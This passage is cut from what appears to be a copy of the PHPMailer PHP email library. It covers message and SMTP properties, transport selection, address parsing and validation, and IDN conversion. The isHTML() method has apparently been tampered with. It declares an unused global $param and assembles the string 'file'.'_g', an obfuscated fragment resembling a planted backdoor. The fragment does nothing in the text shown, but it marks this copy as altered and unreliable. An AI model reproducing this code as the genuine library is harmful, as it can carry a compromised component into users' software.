https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n 